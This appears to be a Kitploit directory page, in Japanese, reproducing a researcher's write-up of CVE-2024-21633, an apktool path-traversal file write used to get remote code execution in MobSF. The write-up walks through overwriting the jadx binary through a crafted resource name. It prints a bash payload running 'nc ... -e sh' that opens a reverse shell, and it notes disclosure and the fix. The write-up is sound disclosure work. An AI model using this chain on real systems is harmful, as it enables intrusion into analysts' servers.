Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-21633 — MobSF リモートコード実行 (via CVE-2024-21633) | Kitploit
ツール/GitHubGitHub/0x33c0unt/cve-2024-21633
Androidセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用モバイルセキュリティペイロード開発バイナリエクスプロイト
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF リモートコード実行 (via CVE-2024-21633)

リポジトリを見る
795112年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MobSF リモートコード実行 (CVE-2024-21633 経由)

apktool における任意ファイル書き込みを発見し、GitHub セキュリティアドバイザリ 経由で報告しました。多くのプロジェクトが apktool に依存していることは認識していましたが、アドバイザリの公開 と 修正 後も、多くの人が気づいたり気にしたりしていないようでした。そこで、主要な依存プロジェクトのいくつかでその影響と悪用可能性を調査することにし、最初に MobSF から始めました。

この脆弱性により、"${decode target path}/res/" への相対パスに任意のファイルを書き込むことができます。最大の影響は RCE を達成することです。ただし、書き込んだファイルは実行可能ではありません。

取り組む前に、次の 2 つのアイデアを考えていました:

  • .bashrc/.zshrc などのシェル初期化ファイルを上書きすることを狙うかもしれませんが、そのためには "decode target path" がユーザーフォルダ以下にある必要があるか、あるいは "../../../../username/.bashrc" のようにターゲットとするためにユーザー名を知っている(またはブルートフォースする)必要があります。ここで良い点は、アプリケーションが 0xFFFF (65536) 種類の生リソース名を持つことができることです。リソース ID は 0x7F0B1234 のように見えます(1 バイトのパッケージ識別子、通常は 0x7F、1 バイトのタイプ識別子(例: raw、drawable)、2 バイトのリソース識別子)。今回の場合、MobSF が Docker で動作していると仮定すれば、ユーザー名は MobSF だと既に分かっています。ただし、ファイルを上書きした後、シェルが起動されるのを待つ必要があり、それは保証されていません。
  • 悪意のあるスクリプトを実行する cron ジョブを作成する。これにはアプリケーションが root 権限を持つ必要があります。

しかし、ファイルのパーミッションを実行可能に変更するアプリがあり、さらにその後で実行してくれるという幸運に恵まれたらどうでしょうか? そして、それがすべて apktool の実行後に行われる必要があります。それがまさに MobSF の状況です。MobSF は静的解析の一部として jadx を使用し、jadx をサブプロセスで呼び出しますが、その直前に jadx のパーミッションを実行可能に変更します。

apktool、chmod、jadx がそれぞれ呼び出されたログの抜粋:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

ターゲットとして jadx を使用しますが、jadx の res フォルダへの相対パスを知る必要があります。これは Python 関数の os.path.relpath() を使用して取得できます。

リソースベースフォルダは "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/" です。

次のパスにある jadx バイナリを上書きしたい: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

ペイロードは res/raw/jadx に配置します。

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

リソース名は "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" になります。 resources APK をアップロードし、jadx が実行されるのを待つと、nc リスナー上でシェルを取得できます。 upload Bingo! reverse-shell

その後、この問題を MobSF チームにメールで報告し、迅速な返信を得て、新しい apktool バージョンへのアップデート によって修正されました。ただし、jadx を実行可能にして後で実行するという動作は依然として残っています。私はむしろ、事前にパーミッションを固定し、ディレクトリを書き込み不可にしておくべきだと思います。

フォローしてね! @0x33c0unt

ツールをダウンロード